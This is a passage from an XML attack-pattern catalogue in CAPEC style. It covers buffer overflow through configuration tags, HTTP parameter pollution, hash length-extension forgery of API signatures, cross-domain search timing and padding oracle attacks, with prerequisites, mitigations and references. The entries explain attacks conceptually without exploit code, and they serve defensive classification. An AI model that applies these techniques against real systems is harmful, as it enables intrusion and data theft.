					<CWE_ID>295<!--Certificate Issues--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>290<!--Authentication Bypass by Spoofing--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>151<!--Identity Spoofing (Impersonation)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Alexander Sotirov</Reference_Author>
					<Reference_Author>Marc Stevens</Reference_Author>
					<Reference_Author>Jacob Appelbaum</Reference_Author>
					<Reference_Author>Arjen Lenstra</Reference_Author>
					<Reference_Author>David Molnar</Reference_Author>
					<Reference_Author>Dag Arne Osvik</Reference_Author>
					<Reference_Author> Benne de Weger </Reference_Author>
					<Reference_Title>MD5 Considered Harmful Today: Creating a Rogue CA
						Certificate</Reference_Title>
					<Reference_Publisher>http://www.phreedom.org/research/rogue-ca/</Reference_Publisher>
					<Reference_PubDate>2008-12-30</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="46" Name="Overflow Variables and Tags" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This type of attack leverages the use of tags or variables from a
						formatted configuration data to cause buffer overflow. The attacker crafts a
						malicious HTML page or configuration file that includes oversized strings,
						thus causing an overflow.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker modifies a tag or variable from a
												formatted configuration data. For instance she
												changes it to an oversized string.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The target program consumes the data modified by
												the attacker without prior boundary checking. As a
												consequence, a buffer overflow occurs and at worst
												remote code execution may follow.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target program consumes user-controllable data in the form of tags or
						variables.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target program does not perform sufficient boundary checking.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Overflow Variables and Tags in
							MidiPlug</Text_Title>
						<Text>A buffer overflow vulnerability exists in the Yamaha MidiPlug that can
							be accessed via a Text variable found in an EMBED tag.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-1999-0946</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text_Title>Attack Example: Overflow Variables and Tags in Exim</Text_Title>
						<Text>A buffer overflow in Exim allows local users to gain root privileges
							by providing a long :include: option in a .forward file.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-1999-0971</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can simply overflow a buffer by inserting a long string
							into an attacker-modifiable injection vector. The result can be a
							DoS.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Exploiting a buffer overflow to inject malicious code into the stack
							of a software system or even the heap can require a higher skill
							level.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>An attacker can modify the variables and tag exposed by the target
							program.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>An attacker can automate the probing by input injection with script or
							automated tools.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use a language or compiler that performs automatic bounds checking.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use an abstraction library to abstract away risky APIs. Not a complete
						solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Compiler-based canary mechanisms such as StackGuard, ProPolice and the
						Microsoft Visual Studio /GS flag. Unless this provides automatic bounds
						checking, it is not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use OS-level preventative functionality. Not a complete solution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Do not trust input data from user. Validate all user input.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The variable or tag exposed to the user.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The new value of the variable or tag (could be an oversized string).</Text>
			</Payload>
			<Activation_Zone>
				<Text>When the function returns control to the main program, it jumps to the return
					address portion of the stack frame. Unfortunately that return address may have
					been overwritten by the overflowed buffer and the address may contain a call to
					a privileged command or to a malicious code.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The most common is remote code execution.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>733<!--Compiler Optimization Removal or Modification of Security-critical Code--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>8<!--Buffer Overflow in an API Call--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>10<!--Buffer Overflow via Environment Variables--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
					<Language>C</Language>
					<Language>C++</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="460" Name="HTTP Parameter Pollution (HPP)"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text> An attacker overrides or adds the HTTP GET/POST parameters by injecting
						query string delimiters. Via HPP it may be possible to override existing
						hardcoded HTTP parameters, modify the application behaviors, access and,
						potentially exploit, uncontrollable variables, and bypass input validation
						checkpoints and WAF rules. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>HTTP protocol is used with some GET/POST parameters passed</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>Any tool that enables intercepting and tampering with HTTP requests</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Configuration: If using a Web Application Firewall (WAF), filters should
						be carefully configured to detect abnormal HTTP requests</Text>
					<Text>Design: Perform URL encoding</Text>
					<Text>Implementation: Use strict regular expressions in URL rewriting</Text>
					<Text>Implementation: Beware of multiple occurences of a parameter in a Query
						String</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>88<!--Argument Injection or Modification--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>147<!-- Improper Neutralization of Parameter/Argument Delimiters--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>235<!--Improper Handling of Extra Parameters--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>137<!--Parameter Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ParentOf</Relationship_Nature>
					<Relationship_Target_ID>174<!--Flash Parameter Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Luca Carettoni</Reference_Author>
					<Reference_Author>Stefano di Paola</Reference_Author>
					<Reference_Title>HTTP Parameter Pollution</Reference_Title>
					<Reference_Publisher>https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>OWASP EU09 Poland</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="461"
			Name="Web Services API Signature Forgery Leveraging Hash Function Extension Weakness"
			Pattern_Abstraction="Standard" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>When web services require callees to authenticate, they sometimes issue a
						token / secret to the caller that the caller is to use to sign their web
						service calls. In one such scheme the caller when constructing a request
						would concatenate all of the parameters passed to the web service with the
						provided authentication token and then generate a hash of the concatenated
						string (e.g., MD5, SHA1, etc.). That hash then forms the signature that is
						passed to the web service which is used on the server side to verify the
						origin authenticity and integrity of the message. There is a practical
						attack against an authentication scheme of this nature that makes use of the
						hash function extension / padding weakness. Leveraging this weakness, an
						attacker, who does not know the secret token, is able to modify the
						parameters passed to the web service by generating their own call and still
						generate a legitimate signature hash. For instance, consider the message to
						be passed to the web service is M (this message includes the parameters
						passed to the web service concatenated with the secret token / key bytes).
						The message M is hashed and that hash is passed to the web service and is
						used for authentication. The attacker does not know M, but can see Hash (M)
						and Length (M). The attacker can then compute Hash (M || Padding (M) II M')
						for any M'. The attacker does not know the entire message M, specifically
						the attacker does not know the secret bytes, but that does not matter. The
						attacker is still able to sign their own message M' and make the called web
						service verify the integrity of the message without an error. Because of the
						iterative design of the hash function, it is possible, from only the hash of
						a message and its length, to compute the hash of longer messages that start
						with the initial message and include the padding required for the initial
						message to reach a multiple of 512 bits. It is important to note that the
						attack not limited to MD5 and will work just as well with another hash
						function like SHA1. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Web services check the signature of the API calls</Text>
					<Text>Authentication tokens / secrets are shared between the server and the
						legitimate client</Text>
					<Text>The API call signature is generated by concatenating the parameter list
						with the shared secret and hashing the result.</Text>
					<Text>An iterative hash function like MD5 and SHA1 is used.</Text>
					<Text>An attacker is able to intercept or in some other way gain access to the
						information passed between the legitimate client and the server in order to
						retrieve the hash value and length of the original message.</Text>
					<Text>The communication channel between the client and the server is not secured
						via channel security such as TLS</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Medium level of cryptography knowledge, specifically how iterative
							hash functions work. This is needed to select proper padding.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Access to a function to produce a hash (e.g., MD5, SHA1)</Text>
				<Text>Tools that allow the attacker to intercept a message between the client and
					the server, specifically the hash that is the signature and the length of the
					original message concatenated with the secret bytes</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use a secure message authentication code (MAC) function such as an
						HMAC-SHA1</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>328<!--Reversible One-Way Hash--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>290<!--Authentication Bypass by Spoofing--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>115<!--Authentication Bypass--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Thai Duong</Reference_Author>
					<Reference_Author>Juliano Rizzo</Reference_Author>
					<Reference_Title>Flickr's API Signature Forgery Vulnerability</Reference_Title>
					<Reference_Publisher>http://netifera.com/research/flickr_api_signature_forgery.pdf</Reference_Publisher>
					<Reference_PubDate>2009-09-28</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="462" Name="Cross-Domain Search Timing" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text> An attacker initiates cross domain HTTP / GET requests and times the
						server responses. The timing of these responses may leak important
						information on what is happening on the server. Browser's single origin
						policy prevents the attacker from directly reading the server responses (in
						the absense of any other weaknesses), but does not prevent the attacker from
						timing the responses to requests that the attacker issued cross
						domain.</Text>
					<Text>For GET requests an attacker could for instance leverage the "img" tag in
						conjunction with "onload() / onerror()" javascript events. For the POST
						requests, an attacker could leverage the "iframe" element and leverage the
						"onload()" event. There is nothing in the current browser security model
						that prevents an attacker to use these methods to time responses to the
						attacker's cross domain requests.</Text>
					<Text>The timing for these responses leaks information. For instance, if a
						victim has an active session with their online e-mail account, an attacker
						could issue search requests in the victim's mailbox. While the attacker is
						not able to view the responses, based on the timings of the responses, the
						attacker could ask yes / no questions as to the content of victim's e-mails,
						who the victim e-mailed, when, etc. This is but one example; There are other
						scenarios where an attacker could infer potentially sensitive information
						from cross domain requests by timing the responses while asking the right
						questions that leak information.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Ability to issue GET / POST requests cross domain</Text>
					<Text>Java Script is enabled in the victim's browser</Text>
					<Text>The victim has an active session with the site from whicht the attacker
						would like to receive information</Text>
					<Text>The victim's site does not protect search functionality with cross site
						request forgery (CSRF) protection</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>ome knowledge of Java Script</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Ability to issue GET / POST requests cross domain</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: The victim's site could protect all potentially sensitive
						functionality (e.g. search functions) with cross site request forgery (CSRF)
						protection and not perform any work on behalf of forged requests</Text>
					<Text>Design: The browser's security model could be fixed to not leak timing
						information for cross domain requests</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>385<!--Covert Timing Channel-->
					</CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>352<!--Cross-Site Request Forgery-->
					</CWE_ID>
					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>172<!--Time and State Attacks-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>116<!--Data Excavation Attacks-->
					</Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Chris Evans</Reference_Author>
					<Reference_Title>Cross-Domain Search Timing</Reference_Title>
					<Reference_Publisher>http://scarybeastsecurity.blogspot.com/2009/12/cross-domain-search-timing.html</Reference_Publisher>
					<Reference_PubDate>2009-12-11</Reference_PubDate>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital Federal, Inc</Submitter_Organization>
						<Submission_Date>2011-05-31</Submission_Date>
					</Submission>
				</Submissions>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="463" Name="Padding Oracle Crypto Attack" Pattern_Abstraction="Meta"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker is able to efficiently decrypt data without knowing the
						decryption key if a target system leaks data on whether or not a padding
						error happened while decrypting the ciphertext. A target system that leaks
						this type of information becomes the padding oracle and an attacker is able
						to make use of that oracle to efficiently decrypt data without knowing the
						decryption key by issuinig on average 128*b calls to the padding oracle
						(where b is the number of bytes in the ciphertext block). In addition to
						performing decryption, an attacker is also able to produce valid ciphertexts
						(i.e., perform encryption) by using the padding oracle, all without knowing
						the encryption key.</Text>
					<Text>Any cryptosystem can be vulnerable to padding oracle attacks if the
						encrypted messages are not authenticated to ensure their validity prior to
						decryption, and then the information about padding error is leaked to the
						attacker. This attack technique may be used, for instance, to break CAPTCHA
						systems or decrypt/modify state information stored in client side objects
						(e.g., hidden fields or cookies).</Text>
					<Text>This attack technique is a side-channel attack on the cryptosystem that
						uses a data leak from an improperly implemented decryption routine to
						completely subvert the cryptosystem. The one bit of information that tells
						the attacker whether a padding error during decryption has occured, in
						whatever form it comes, is sufficient for the attacker to break the
						cryptosystem. That bit of information can come in a form of an explicit
						error message about a padding error, a returned blank page, or even the
						server taking longer to respond (a timing attack).</Text>
					<Text>This attack can be launched cross domain where an attacker is able to use
						cross-domain information leaks to get the bits of information from the
						padding oracle from a target system / service with which the victim is
						communicating. To do so an attacker sends a request containing ciphertext to
						the target system. Due to the browser's single origin policy, the attacker
						is not able to see the response directly, but can use cross-domain
						information leak techniques to still get the information needed (i.e.,
						information on whether or not a padding error has occurred). For instance,
						this can be done using "img" tag plus the onerror()/onload() events. The
						attacker's JavaScript can make web browsers to load an image on the target
						site, and know if the image is loaded or not. This is 1-bit information
						needed for the padding oracle attack to work: if the image is loaded, then
						it is valid padding, otherwise it is not. </Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The decryption routine does not properly authenticate the message / does
						not verify its integrity prior to performing the decryption operation</Text>
					<Text>The target system leaks data (in some way) on whether a padding error has
						occurred when attempting to decrypt the ciphertext.</Text>
					<Text> The padding oracle remains available for enough time / for as many
						requests as needed for the attacker to decrypt the ciphertext. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text>Ability to detect instances where a target system is vulnerable to an oracle
					padding attack</Text>
				<Text>Sufficient cryptogrpahy knowledge and tools needed to take advantage of the
					presence of the padding oracle to perform decryption / encryption of data
					without a key</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use a message authentication code (MAC) or another mechanism to
						perform verification of message authenticity / integrity prior to
						decryption</Text>
					<Text>Implementation: Do not leak information back to the user as to any
						cryptography (e.g., padding) encountered during decryption. </Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>209<!--Information Exposure through an Error Message--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>514<!--Covert Channel--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>649<!--Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>347<!--Improper Verification of Cryptographic Signature--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>354<!--Improper Validation of Integrity Check Value--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>696<!--Incorrect Behavior Order--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
